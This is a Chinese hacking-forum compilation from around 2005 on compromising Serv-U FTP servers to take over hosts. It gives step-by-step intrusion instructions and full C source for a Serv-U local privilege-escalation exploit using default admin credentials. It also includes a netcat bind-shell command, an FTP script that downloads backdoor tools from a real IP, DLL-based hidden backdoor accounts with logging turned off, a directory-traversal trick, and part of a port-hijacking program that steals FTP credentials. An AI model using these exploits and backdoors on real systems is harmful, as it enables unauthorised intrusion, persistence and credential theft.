[这个贴子最后由风幻残林在 2005/01/16 08:38pm 第 2 次编辑]
通过serv-u漏洞入侵全过程
======================================================================
serv-u漏洞已经发布了好长一段时间了,不过好多菜鸟朋友还没有能够掌握,而且
现在通过这个漏洞还能找很多肉鸡的,现在我就通过演示给广大的菜鸟朋友看一下
怎么来得到权限、放置后门、打补丁的!
serv-u服务器的配置都不错的哦!
=======================================================================
所需要的工具:ftpscan.exe,hotmail的ftp密码帐号扫描工具,
killftp.exe,ftp漏洞溢出程序
wineggdrop, 后门工具
3389.exe,开3389的工具
还有补丁程序,jay的,大家可以看帖子:
http://jdwl.net.cn/qfaq/forum_vi ... =5&view_id=2875
其他程序大家可以去清风上去下载!
=======================================================================
需要的操作系统:98、2000、xp、2003下都可以成功溢出,还有大家最好找一个
ftp空间,你可以用自己的肉鸡做,也可以去找一些免费的空间,这个不在本教程
的讨论范围之内!
=======================================================================
现在我们先来扫一些ftp帐号,可写不可写的都可以,我们看看ftpscan的使用方法
FTPSCAN.EXE StartIP EndIP Port Threads [FileName]
ftpscan 开始ip 结束ip ftp端口(一般用21) 线程(看你的机器配置而定) 保存的文件名
好了,我们先让他扫着,下面我们来配置我们的后门程序,我这里用wineggdrop
做演示,详细的配置操作请看作者的说明文件!
后门程序有加壳和未加壳版本,未加壳的版本大家可以自己加下壳,我这里为了
演示的方便就用加过壳的,未加壳的版本要先加壳后配置!
好了我们配置好了,下面我们来制作成自解压文件,为了方便我们的使用!
下面我们把我们所需要的工具上传到我们的ftp空间上!
=======================================================================
好了,现在我们登陆肉鸡来看看扫描结果,OK,找到了几个,我们来溢出看看
在溢出之前我们先来看看killftp的使用方法!
Usage: killftp
killftp
killftp
第一个是直接溢出,也是我们经常要使用的方法,第二个是要下载文件后门程序
并执行,第三个是用反弹端口的方法,你要先用nc监听一个端口,这个在有防火墙
的时候特别有用!
我们来看看!
=======================================================================
好了成功的溢出一台了,我们加帐号先,
0K,我们来上传我们的工具!
echo open 61.187.190.170 >ftp.txt
echo ceshi >>ftp.txt
echo tongtu >>ftp.txt
echo binary >>ftp.txt [可选]
echo get 3389.exe >>ftp.txt
echo get 2.exe >>ftp.txt
echo bye >>ftp.txt
ftp -s:ftp.txt
del ftp.txt
这样我们就成功的上传了我们的工具,一个是我们的后门程序,一个是开3389的
那位说了wineggdrop也能开终端,为什么还要用3389.exe开呢?呵呵,这个是
个人习惯而已!
OK,看看我的操作!
======================================================================
好了,我们已经成功的给他开了终端和放置了后门,现在我们要上去给他打上补丁
顺便给他克隆一个帐号!
等待服务器的重起中!。。。。。。。。。。。。。。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
服务器重起还是比较慢的!耐心的等待!
用wineggdrop开终端是不需要重起的哦!我们已经进来了!
这个就是我们的补丁程序,我们先用ftp上传上去
由江民网站被黑想到的入侵方法
2004年 10月20日
原先,大家可能由各种上传漏洞,得到过很多机器的webshell,
无奈权限不够,一直不能完全控制。
最近,看到"江民"网站被黑的录象,录象中提到江民网站被上传了ASP木马(可能网站有dvbbs6.0论坛),又由于论坛21端口开着,是serv-u(可能5。1。0。0以下的,好象5。2。0。0也可以提升权限),于是用sevu的本地提升权限软件(我在论坛"入侵艺术"中也上传过该软件servlocal.exe),开了3389,并侵入网站。
这是种很好的入侵思路,因为servlocal.exe 后面可以加"Dos命令".比如
net user 加用户,也可以是某木马程序(好多木马或后门,必须是超级权限才行,因为他要写注册表,写入服务等)。
ASP木马+servlocal.exe,非常经典!!!
当然,入侵机器需装有serv-u,且你webshell有一定的权限,并且serv-u的本地的端口和超级用户及密码为默认的(现在已有serv-u本地权限提升漏洞防御工具,可以修改该参数)。
*****************************利用SERV-U做一个隐蔽的后门***********************************
现在大多数的WINDOWS服务器都使用SERV-U做FTP服务器,直到serv-u5.2版为止仍然存在本地权限提升漏洞,在获得了最高控制权限之后,需要留下一个隐蔽的后门,以备我们下次光临。查看,serv-u的帮助文件可知,serv-u提供了一个扩展的接口,通过这个接口可以管理用户的的访问权限。所以我们就很容易就根据这个接口留下一个后门。
下面是我写的一个扩展程序,实现的功能是,如果是帐号lgsr来登陆,就不需要密码,同时把服务器的C:\盘映射到该帐号的主目录,同时赋予lgsr帐号的远程管理权限。
下载地址为:
http://www.yueyong.net/down/ServuBack.rar
http://77169.org/Soft/Class2/Class63/200412/17527.html
安装方法:
ServuBack.rar解压,把servu.dll上传到肉鸡上serv-u安装目录,把打开配置文件ServUDaemon.ini,在文件末尾添加
[EXTERNAL]
ClientCheckDLL1=servu.dll
保存,重新启动,serv-u服务,OK,现在在本地打开SERV-U的管理程序
ServUAdmin.exe,右键新建一个服务器,输入肉鸡的IP地址,帐号lgsr,密码随便填,再填上肉鸡的FTP端口
连接,好了,现在可以远程管理肉鸡上的FTP了,可以随便添加帐号,修改帐号。
另外可以直接用FTP软件用帐号lgsr登陆,密码随便填,就可以访问肉鸡的C盘,上传,修改文件,并具有执行权限。
*****************************Serv-U提升又一法***********************************
《Serv-U提升又一法》原文见《黑客X档案》2005第一期,浪迹天发表的那篇文章。其实技术在网上很早就有了,只不过当初太有人注意。我觉得这方法很绝,所以也深入研究了一下,挖到了一点好东西,不敢独享,就决定帖出来给大家看。(其实只所以帖出来,还因为我实践时没成功,呵呵,千万去要砸我)。
讲之前就给有些朋友复习一下。全文的重点还是在那个要命的servudaemon.ini文件,如果大家有网站的webshell并且可以访问目录,修改这个文件应该不难。
下面请看一个servdaemon.ini的范例,#号后是我写的说明文字,不是文件中的文字。
[GLOBAL] #定义一些全局参数
Version=5.2.0.0
PacketTimeOut=300
PASVPortStart=9000
PASVPortRange=41
ProcessID=1064
[DOMAINS] #在这里定义域名及IP,端口号
Domain1=0.0.0.0
21|Wizard Generated Domain|1|0
[Domain1] #用户名的定义
MaxNrUsers=800
SQLListAll=
SQLListName=
SQLListSort= (这一部分我也没看懂,希望哪位高手能告诉我)
SQLDelete=
SQLInsert=
SQLUpdate=
User1=Anonymous|1|0 #第一个用户是anonymous,即匿名用户,允许匿名用户访问
User2=XXXX|1|0 #第二个用户
[USER=Anonymous|1] #用户"anonymous"的定义
HomeDir=e:\ #用户anonymous的根目录
RelPaths=1 #锁定在根目录,如果不锁定在根目录可以把该行删除
TimeOut=600
Access1=e:\|RLP #用户anonymous权限设置在此处,具体的后面会涉及
SKEYValues=
[USER=XXXX|1] #用户"XXXX"的定义
Password=cuA40FB53D1C89D1E715 #经MD5加密的密码
注:如果不想要密码应该把这行删掉,而不是简单就设为空
HomeDir=e:\\
RelPaths=1
TimeOut=600
Access1=E:\|RWAMLCDP
SKEYValues=
[DOMAINS]
Domain1=202.10.66.12||21| #前面有讲到IP和端口的设置,但我在看里其他服务器的设置,这个地方却也有出现
权限设定具体说明:
RL 只能读文件,下载文件
RWL 可以写文件,所以可以上载文件
RWML M是可以删除的权限
RWAMEL A是添加权限,E是执行权限
RWLCD C是目录创建权限,D是目录删除权限
注意:权限后必须带P
修改的步骤是在[DOMAIN1]中先添加用户名称,如上例中已经有三个用户anonymous、XXXX、,再添加一个用户3,密码为空,在e:\目录下可以读写文件、创建删除目录,不锁定在本目录,同时对C:\有访问权限。
先在[Domain1]下增加一个用户,如下:
user3=XXXX2|1|0
然后再增加一个段,说明用户"XXXX2"的权限
[user3=XXXX2|1]
HomeDir=e:\\
TimeOut=600
Access1=e:\|RWLCDP
Access2=C:\|RLP #这里也可以自由设置
接下来就是重点的重点了,是我再网上挖到的宝贝,因为作者(我把他的名字忘记了,希望他不要找上门,呵呵)也是在本地测试通过,没有在肉机上做过,害我在肉鸡上实验时也没成功。
*********************************************************
在 Serv-U 中建立隐藏用户(本地通过,未经肉鸡测试~~希望大家完善本文)
在如今的 FTP 服务段软件中,Serv-U 以其简单易用性成为广大管理员的首选,当我
们控制一台肉鸡后,如果它采用 Serv-U 管理 FTP ,我们该如何建立一个隐藏的 FTP 账
户来下载他的东东呢?
我们可以采用 Serv-U Assistant 这个软件,可以到作者网页 http://www.katkat.com/ 或
者在华军下载(目前版本为1.01)
这个软件主要用于扩充 Serv-U 的帐号管理, 它采用Serv-U扩展库,实现的原理为"帐
号-映射",建立一个或多个帐号"映射",当在 Serv-U 中设置好一个固定帐号(即Serv-U
的帐号)后,"映射帐号"就继承了这个固定帐号的所有权限设置,每个"映射帐号" 有各
自的登录密码。
下载压缩文件 AssServU.zip,解压后得到以下文件:
AssServU.dll -------- 扩充功能库
AssServU.exe -------- 管理主程序
AssServU.ini -------- 配置文件
AssServU.mdb -------- 数据库文件
AssReadme.mht ------- 自述文件
我们的目的是为了隐藏我们 FTP 账号,因此第一步我们要获取肉鸡上的一个 Serv-U
的账户名(仅账户名而已):3389图形界面可以通过 ServUAdmin.exe 获得;命令行下可以
通过 ServUDaemon.ini 获得,当然最好获得权限比较大的用户名(因为我们的隐藏账号的
权限与他的相同)
第二步:在自己的机器上做好配置:首先为了隐藏的需要,我们将assServU.mdb复制
一份为ServU.dat ,将assServU.dll改名为ServU.dll ;
双击 assServU.exe ,在 Settting 选项卡下的 Log options 中去掉 Log system
messages 、 Log error messages 、 Log file dosnloads 、 Log file uploads 前面的勾(这是
为了系统不记录日志);在 Account Datasource 中选 Custom ,在 Connection string 点
Set ,在"连接"选项卡中的"1。选择或输入数据库名称"中将 AssServU.mdb 改为
Servu.dat ,然后点"确定",在退回 Setting 选项卡后点 Save 。
在 Account 选项卡下添加用户, Username 为你想添加的用户,如:hacker, Password
为你的密码,如:123, Serv-U account 为第一步中你选择的权限较大的用户,如:admin,
然后点 Save 按钮。
好了,配置完成。
第三步:上传我们的 ServU.dat 和 ServU.dll ,修改肉鸡的 ServUDaemon.ini 文件,添加
以下字段:
[EXTERNAL]
ClientCheckDLL1=ServU.dll
然后重起Serv-U 服务
这样你就可以用隐藏账号登陆了,此时登陆账号还是第一步你选择的账号,但密码格式
为"你的用户名=密码",如果你像第二步那样设置的话,登陆名就为admin,密码为hacker=111
hehe,这样管理员在管理界面什么都看不出来
*****************************如何捕捉Serv-U漏洞***********************************
Serv-U是一款很出色的FTP服务器软件,在网上有很广的应用,设置简单,小巧玲珑,很受用户喜爱。
但是在2000年12月3日,由Zoa_Chien (zoachien securax.org)发现了Serv-U一个重大漏洞,这个漏洞使你的硬盘暴露在网络上。这个漏洞在2.5i以前版本中全部存在。下面,就让我们来看看这个漏洞的真面目。
首先我们使用匿名进入一个使用Seru-U的2.5i以前版本FTP站点:
ftp>pwd
257 "/c:/ftproot" is current directory.
ftp>cd ..
550 /c:/: Permission denied.
哦,没有权限进入上一级目录。
ftp> ls ..
200 PORT Command successful.
550 Permission denied.
也没有权限查看上一级目录。让我们换个方式:
ftp> ls ..%20./* (必须加上“/*”)
看看发生什么了?上一级目录(C:\)的东西尽收眼底了!
ftp> cd ..%20.
ftp> pwd
257 "/c:/ftproot/.." is current directory.
当前目录变成了“c:\ftproot\..”,这不就是根目录吗?
来看看刚才敲了两个什么命令:“ls ..%20./*”和“cd ..%20./”。原来如此:“..%20.”在这里相当于“..”;而且,在Serv-U分析这个目录的时候,把“..”当作当前目录下的子目录,而不是直接进入上一级目录。所以C盘根目录,也就是“c:\ftproot\..”被当作“ftproot”里面的子目录来操作。如果在Serv-U的设置里面,“c:\ftproot”被当作用户的主目录,用户可以对它和其子目录进行读和写的操作,而本来用户被禁止操作的其他目录,就可以通过这种方式当作当前目录的子目录而继承其属性,用户也可以对它读和写了。假如当前在“\c:\ftproot\incoming\”目录,那么就可以用“..%20./ ..%20./windows”来表示“\c:\ftproot\test\..\..\windows”,即“c:\windows”目录,如果“incoming”目录对用户完全开放,可以进行读、写、删除、列表、建目录,那么用户也就可以对“c:\windows”目录进行一些可怕的操作了。
那好,再让我们进入有写和删除权限的“incoming”目录看看:
我们在这里使用两个命令:“put 1.txt ..%20./..%20./windows/”和“put 1.txt ..%20./..%20./windows/2.txt”。我们可以发现,前者不能运行,但后者却可以,“dele”命令也成功了。
实验证明“%20..%20%20..”、“..%20%20..”、“%20..%20.”都等效于“..”。
如果Serv-U的管理员不清楚这个可怕的漏洞,将用户的主目录与系统放在同一个分区,那么黑客利用此漏洞便能抓取到系统的所有密码,如果用户的主目录与Serv-U的配置文件serv-u.ini在同一分区,那么黑客可以抓取serv-u.ini里的用户密码,如果某个用户拥有写和运行权限,那么黑客就可以放一个特洛依木马,并运行它,然后……
即使黑客拿不到serv-u.ini,也可以利用一个有写权限的目录,在这个分区的根目录里放上特洛依木马,再放一个运行木马的autorun.inf,当管理员打开“我的电脑”时,木马就可以自动运行了。
*****************************Serv-U v6.0 本地权限提升漏洞***********************************
Serv-U v6.0 本地权限提升漏洞
受影响系统:
Serv-U FTP Server 6.0\\
以及6。0以下版本
描述:
--------------------------------------------------------------------------------
Serv-u 是一款很出名的Ftp Server软件,Serv-U FTP Server V6.0 已经发布,经过测试发现
该版本已之前版本一样都存在这个问题。漏洞是使用Serv-u本地默认管理端口,以默认管理员登陆新建
域和用户来执行命令,版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,
默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理。
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
aT4r ins4n3 (at4r@ciberdreams.com)提供了如下测试方法:
/*
* Hax0rcitos proudly presents
* Serv-u Local Exploit >v3.x. (tested also against last version 5.1.0.0)
*
* All Serv-u Versions have default Login/password for local Administration.
* This account is only available to connect in the loopback interface, so a
* local user will be able to connect to Serv-u with this account and create
* an ftp user with execute rights. after the user is created, just connect
* to the ftp server and execute a raw "SITE EXEC" command. the program will
* be execute with SYSTEM privileges.
*
* Copyright (c) 2003-2004 Haxorcitos.com . All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*
* Date: 10/2003
* Author: Andrés Tarascó Acunha
*
* Greetings to: #haxorcitos - #localhost and #!dsr blackxors =)
*
* Tested Against Serv-u 4.x and v5.1.0.0
G:\exploit\serv-U\local>whoami
INSANE\aT4r
G:\exploit\serv-U\local>servulocal.exe "nc -l -p 99 -e cmd.exe"
Serv-u >3.x Local Exploit by Haxorcitos
<220 Serv-U FTP Server v5.0 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
******************************************************
>SITE MAINTENANCE
******************************************************
[+] Creating New Domain...
<200-DomainID=3
220 Domain settings saved
******************************************************
[+] Domain Haxorcitos:3 Created
[+] Setting New Domain Online
<220 Server command OK
******************************************************
[+] Creating Evil User
<200-User=haxorcitos
200 User settings saved
******************************************************
[+] Now Exploiting...
>USER haxorcitos
<331 User name okay, need password.
******************************************************
>PASS whitex0r
<230 User logged in, proceed.
******************************************************
[+] Now Executing: nc -l -p 99 -e cmd.exe
<220 Domain deleted
******************************************************
G:\exploit\serv-U\local>nc localhost 99
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>whoami
whoami
NT AUTHORITY\SYSTEM
C:\>
*/
#include
#include
#include
#include
#include
//Responses
#define BANNER "220 "
#define USEROK "331 User name okay"
#define PASSOK "230 User logged in, proceed."
#define ADMOK "230-Switching to SYSTEM MAINTENANCE mode."
#define DOMAINID "200-DomainID="
//Commands
#define XPLUSER "USER haxorcitos\r\n"
#define XPLPASSWORD "PASS whitex0r\r\n"
#define USER "USER LocalAdministrator\r\n"
#define PASSWORD "PASS #l@$ak#.lk;0@P\r\n"
#define MAINTENANCE "SITE MAINTENANCE\r\n"
#define EXIT "QUIT\r\n"
char newdomain[]="-SETDOMAIN\r\n"
"-Domain=haxorcitos|0.0.0.0|2121|-1|1|0\r\n"
"-TZOEnable=0\r\n"
" TZOKey=\r\n";
/* "-DynDNSEnable=0\r\n"
" DynIPName=\r\n";
*/
char deldomain[]="-DELETEDOMAIN\r\n"
"-IP=0.0.0.0\r\n"
" PortNo=2121\r\n";
char newuser[] =
"-SETUSERSETUP\r\n"
"-IP=0.0.0.0\r\n"
"-PortNo=2121\r\n"
"-User=haxorcitos\r\n"
"-Password=whitex0r\r\n"
"-HomeDir=c:\\\r\n"
"-LoginMesFile=\r\n"
"-Disable=0\r\n"
"-RelPaths=1\r\n"
"-NeedSecure=0\r\n"
"-HideHidden=0\r\n"
"-AlwaysAllowLogin=0\r\n"
"-ChangePassword=0\r\n"
"-QuotaEnable=0\r\n"
"-MaxUsersLoginPerIP=-1\r\n"
"-SpeedLimitUp=0\r\n"
"-SpeedLimitDown=0\r\n"
"-MaxNrUsers=-1\r\n"
"-IdleTimeOut=600\r\n"
"-SessionTimeOut=-1\r\n"
"-Expire=0\r\n"
"-RatioUp=1\r\n"
"-RatioDown=1\r\n"
"-RatiosCredit=0\r\n"
"-QuotaCurrent=0\r\n"
"-QuotaMaximum=0\r\n"
"-Maintenance=None\r\n"
"-PasswordType=Regular\r\n"
"-Ratios=None\r\n"
" Access=c:\\|RELP\r\n";
#define localport 43958
#define localip "127.0.0.1"
char cadena[1024];
int rec,domain;
/******************************************************************************/
void ParseCommands(int sock, char *data, int ShowSend, int showResponses,
char *response) {
send(sock,data,strlen(data),0);
if (ShowSend) printf(">%s",data);
Sleep(100);
do {
rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
if (rec<=0) return;
if (showResponses) printf("<%s",cadena);
if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0)
domain=atoi(cadena+strlen(DOMAINID));
//} while (strncmp(cadena,response,strlen(response))!=0);
} while (strstr(cadena,response)==NULL);
printf("******************************************************\r\n");
}
/******************************************************************************/
int main(int argc, char* argv[])
{
WSADATA ws;
int sock,sock2;
struct sockaddr_in haxorcitos;
struct sockaddr_in xpl;
printf("Serv-u >3.x Local Exploit by Haxorcitos\r\n\r\n");
if (argc<2) {
printf("USAGE: ServuLocal.exe \"command\"\r\n");
printf("Example: ServuLocal.exe \"nc.exe -l -p 99 -e cmd.exe\"");
return(0);
}
if (WSAStartup( MAKEWORD(2,2), &ws )!=0) {
printf(" [-] WSAStartup() error\n");
exit(0);
}
haxorcitos.sin_family = AF_INET;
haxorcitos.sin_port = htons(localport);
haxorcitos.sin_addr.s_addr = inet_addr(localip);
sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sock,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos));
rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
printf("<%s",cadena);
ParseCommands(sock,USER,1,1,USEROK);
ParseCommands(sock,PASSWORD,1,1,PASSOK);
ParseCommands(sock,MAINTENANCE,1,0,"230 ");
printf("[+] Creating New Domain...\r\n");
ParseCommands(sock,newdomain,0,1,BANNER);
printf("[+] Domain Haxorcitos:%i Created\n",domain);
/* Only for v5.x
printf("[+] Setting New Domain Online\r\n");
sprintf(cadena,"-SERVERCOMMAND\r\n-ID=%i\r\n
Command=DomainOnline\r\n",domain);
ParseCommands(sock,cadena,0,1,BANNER);
*/
printf("[+] Creating Evil User\r\n");
ParseCommands(sock,newuser,0,1,"200 ");
Sleep(1000);
printf("[+] Now Exploiting...\r\n");
xpl.sin_family = AF_INET;
xpl.sin_port = htons(2121);
xpl.sin_addr.s_addr = inet_addr(localip);
sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl));
rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]='\0';
ParseCommands(sock2,XPLUSER,1,1,USEROK);
ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK);
printf("[+] Now Executing: %s\r\n",argv[1]);
sprintf(cadena,"site exec %s\r\n",argv[1]);
send(sock2,cadena,strlen(cadena),0);
shutdown(sock2,SD_BOTH);
Sleep(100);
ParseCommands(sock,deldomain,0,1,BANNER);
send(sock,EXIT,strlen(EXIT),0);
shutdown(sock,SD_BOTH);
closesocket(sock);
closesocket(sock2);
return 0;
}
//---------------------------------------------------------------------------
具体使用方法~~
和以前的ftp.exe一样
上传一个 serv-u上去
cmd执行
例如我们的位置在d:\wwwroot\serv-u.exe
我在在cmd执行: d:\wwwroot\serv-u.exe "net user laolang$ 123456/add"
下面我也不说了具体怎么做仿照前面的ASP木马到控制 3389
在serv-u中建立隐藏的帐号
首先确认SERV-U安装好了,并能正确运行。
这里有一个SERV-U扩展库,必须安装在SERV-U3.0版本以上!
这个包一共包含4个文件
webseru.dll
myservu.mdb
webservu.ini
readme.txt
其中myservu.mdb用于存放帐号和密码(没有加密)。
webservu.ini保存了一些配置信息
/////////////////////////////////////////
//以下是webservu.ini的内容
////////////////////////////////////////
[main]
homeDir=d:\mydoc\
dbFile=myservu.mdb
logfile=on
///////////////////////////
其中homeDir=d:\mydoc\表示你的FTP的根目录,如果你有一个新帐号abc,那么帐号abc的主
目录为d:\mydoc\abc,你要保证d:\mydoc\abc存在,否则访问不了。注意主目录后面的\不能
少。
dbFile=myservu.mdb 定义了帐号数据库的文件名,你可以把它拷贝到其他目录,但是必须包含
目录名。例如dbFile=e:\mydoc\ser.mdb.程序也不检测该文件是否存在。如果该数据库文件和
myservu.dll在同一目录则不需要包含路径!
logfile=on 表示记录登陆信息,不记录的话将on改为off。
怎样让serv-u加载myservu,dll?
首先要保证serv-u已经能够运行,找到serv-u的安装目录下的ServUDaemon.ini文件
添加
[EXTERNAL]
ClientCheckDLL1=c:\mydoc\webseru.dll
如果webseru.dll放在serv-u的安装目录下可以不要路径,直接用文件名
如:ClientCheckDLL1=webseru.dll
存盘后,重新启动serv-u。
利用ftp服务程序本身设计的"缺陷"取得最高权限 一台虚拟主机,NTFS文件系统,主机主要运行的服务为IIS和Serv-U.已经通过允许上传asp文件并执行那些as文件的问题得到了一般的user权限.由于管理员对目录的设置比较安全,只有C盘的根目录具有写权限,其它目录都只有读的权限.由于配置的安全性,用自己的后门程序替换掉服务启动的程序那一招已经不灵了,向Serv-U的配置文件加入一个有执行权限的帐户这一招也行不通了.入侵的那位朋友已经试过多种方法,没有一个可行的方法,于是他将这台入侵了一小半的系统pass给了我,看我有没有方法解决.
(这位朋友一天除了吃饭和睡觉外,就在对着电脑到处找新漏洞入侵系统,经常有些稀奇古怪的系统给我看)
解决方案是从serv-u那里想办法,因为那位朋友也试过好几种方法了,那些方法
1.上传个autorun.inf和后门上去硬盘根目录,(如果系统允许autorun的话,管理员看根目录时就会执行autorun.inf里定义的程序)
2.上传后门到硬盘根目录,改名为explorer.exe(很久的东西,windows搜索文件时是先从根目录先搜起的,如果在根目录先搜到,就执行那个文件.如果系统还存在这问题,如果管理员双击"我的电脑",就会执行了根目录下的那个后门的explorer.exe)
3.还有其它他想到的古怪方法都试过了,一样是没办法得到最高权限
系统应该已经打上最新的补丁了,用多个扫描器扫描iis也没有发现到什么漏洞,而且基本就是iis和serv-u这两个服务可利用,iis是没办法的了,只有从serv-u中下手.
系统中已运行一个user权限启动的小后门,只是得到个user限的shell.进去后查看了一下系统的配置和安装了的程序等等,发现了也只能在Serv-U那里动手脚了.Serv-U是4.1版本的,里面有5个帐号,有两个帐号的是有写权限的,并且root目录是在c:\下(通过查看serv-u的那个ini配置文件得知帐户的信息) ,如果能拿到其中一个帐号的密码,我们就具有写权限了.关键是如何得到那两个帐号的密码.
有人会想到破密码,这里最原始而且是在没有任何办法时才会试的办法,当然你不要期待有什么高的成功机会了,大家都应该Serv-u的帐号的密码是用什么算法加密的了,而且也应该知道那种加密算法用最快的破解程序,如果要穷举一个只是8位长度的密码是需要多长时间的.所以不要先想着破密码了.
要得到登陆serv-u的用户的密码,有人想到嗅探的方法,这当然是一个好方法,不过得先想想自己所处的权限(只是一般的user权限),根本不足以执行绑入网卡进行的无驱动的的嗅探程序(已测试过,证实不行的了) .
嗅探不行,突然想到shatter attack(有兴趣的朋友可以看看 http://security.tombom.co.uk/shatter.html ),但看到
了"Any application on a given desktop can send a message to any window on the same desktop"这句, 我是从命令行进去用user权限运行的一个shell,似乎没有处于任何桌面,所以应该不能将信息发到serv-u的tray monitor中去.在测试前我先发了信到serv-u的help center中询问,主要是询问serv-u的4.1版本是否可以受shatter attack所影响, 收到的回复是4.1版本不会接收以不同权限发过来的信息,serv-u的tray monitor是登陆的管理员权限执行的,而我只是user权限,这已经很清楚说明了是不可能的,而且我也从来没有研究和测试过shatter attack,
所以还是先放弃了.
想来想去都没想到什么好的方法,已经打算不想的了,但在洗澡时却突然想到serv-u打开的端口是允许重绑的(不知道是什么原因,很多好的idea都是在洗澡时想到的,包括很多编程时遇到的问题有时都是在洗澡时想到解决方法的) .能够重绑端口,这样我就可以写一个程序,绑入serv-u打开的端口,那么连接到serv-u端口的验证信息就会被我的程序所得到,这样就有可能得到我所需要的帐号的用户名和密码了. 当然这个程序要"扮"得很像serv-u,例如收到连接时发送的是serv-u的正确banner,连接用户发送了用户名来时,程序也要象serv-u那样发个"331 User name okay, need password."的信息要求输出密码, 当用户输出密码后,程序就给连接者发送一个信息,大致是说连接者的IP是不允许登陆的,然后就断开连接者. 为了不被管理员察觉到问题,程序在得到那两个有用的帐号的其中一个的密码后,就会从内存中退出,这样原来的serv-u就能继续正常的工作,当然程序在退出前会将得到的帐号和密码发到我的hotmail的信箱中去.为了保险点,将帐号和密码备份写入到硬盘的一个文件中去(以防hotmail的服务有时中断无法接到邮件).
写到这里,剩下的问题就是写出那个程序了,那不算是什么困难的程序,因为各个部分的东西都曾经写过,所以写出来后测试了一下就能投入工作了.程序在那系统中运行了,我就打开了msn等着接信了.大约是半天时间左右吧,就得到了想要的帐号和密码了. 有了这个帐号,我就能登陆进那个serv-u中修改serv-u的配置,加个有执行权限的帐号,然后用这个新加的帐号就能上传任何后门或者其它东西上去那系统中运行了.到了这里,系统的最高权限已经到手了.
结语:
能够成功得到最高权限,这是由两个"缺陷"所造成的.
1.serv-u本身打开的端口允许重绑入(说是缺陷其实有点过份,因为serv-u的设计者没有想到你的系统会被人入侵到的).我也发信到serv-u中说明了一下这问题,希望serv-u新的版本打开的端口不允许被其它程序所重绑(其实只是多加一行代码就行了)
2.user权限下也可以重绑入其它以服务身份(local system)启动的程序的端口(说是缺陷也是有点过份) .
3.其它的ftp服务程序也有可能存在这个被重绑端口后登录者的帐号和密码被窃取的问题存在,而且其它的应用程序如果端口允许被重绑的话,也存在这种问题,只是视乎传输的信息是否明文还是被强度的算法加密过而已.端口被重绑后产生的问题是存在已久的了,所以我不会说是我发现的,这个文章也只是随便举了一个由于端口被重绑后产生的严重后果的例子罢了.
后面所跟的程序代码,我是去掉了将帐号和密码发送到邮箱的功能的,只是将信息保存到LogFile.Dat这文件中去,这是由于这类代码不会有什么人是利用来做好事的,所以在线通知也就删除了比较好.
Codz:
//****************************************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Hijack FTP Sever's Open Port And Steal The Connector's UserName And Pass
// Test PlatForm: Win 2K Pro And Server SP4,Serv-U V4.1
// Compiled On: VC++ 6.0
// Others: This Code Is Only To Demonstrate The Danger Of An Application Allowing Its
// Communication Port To Be Re-Binded(Hijack In Other Word).
// If Your Box Is In A Lan,Don't Test It On Your Only Box Since It May Not Work
//****************************************************************************************
#include
#include
#include
#pragma comment(lib,"wsock32.lib")
SOCKET ListenSocket = INVALID_SOCKET;
static CRITICAL_SECTION cs;
const char *LogFile = "c:\LogFile.Dat";
// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL StartHijack(const char *IPToBind,const char *Port);
BOOL IsDigits(const char *String);
BOOL InitSocket();
BOOL CreateSocket(const char *IPToBind,const UINT ListenPort);
BOOL HandleFTPRequest();
BOOL SaveInfo(const char *FileName,const char *Info);
BOOL SendSocket(const SOCKET ClientSocket,const char *Message);
BOOL ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,const int nSize);
DWORD WINAPI FTPThread(LPVOID Para);
BOOL RetrieveFTPUserAndPass(const SOCKET ClientSocket);
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration
int main(int argc,char *argv[])
{
if (argc != 3) // Not Enough Parameters
{
// Show The Usage And Example,Then Exit The Program
printf("Usage: %s BindedIP ListenPort\n",argv[0]);
printf("Example: %s 192.168.0.1 21\n",argv[0]);
return 0;
}
InitializeCriticalSection(&cs);
StartHijack(argv[1],argv[2]); // We Are About to Hijack The Port
DeleteCriticalSection(&cs);
return 0;
}
//--------------------------------------------------------------------------------------------
// Purpose: To Create A Listening Socket
// Return Type: BOOLEAN
// Parameters:
// In: char UINT ListenPort --> The Listening Port
//--------------------------------------------------------------------------------------------
BOOL CreateSocket(const char *IPToBind,const UINT ListenPort)
{
struct sockaddr_in Client;
ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Create Socket
if (ListenSocket == INVALID_SOCKET) // Fail To Create Socket
{
printf("Fail To Create Socket\n");
return FALSE;
}
memset(&Client, 0, sizeof(Client));
Client.sin_family = AF_INET;
Client.sin_port = htons(ListenPort);
Client.sin_addr.s_addr = inet_addr(IPToBind);
// Set Socket Option To Hijack The Port(Re-Bind Or Re-Use In Other word)
BOOL bReUser = TRUE;
if (setsockopt(ListenSocket,SOL_SOCKET,SO_REUSEADDR,(char *)&bReUser,sizeof(bReUser)) != 0)
{
closesocket(ListenSocket);
printf("Fail To Hijack The Port\n");
return FALSE;
}
// Bind Socket
if (bind(ListenSocket,(const struct sockaddr *)&Client,sizeof(Client)) == INVALID_SOCKET)
{
closesocket(ListenSocket);
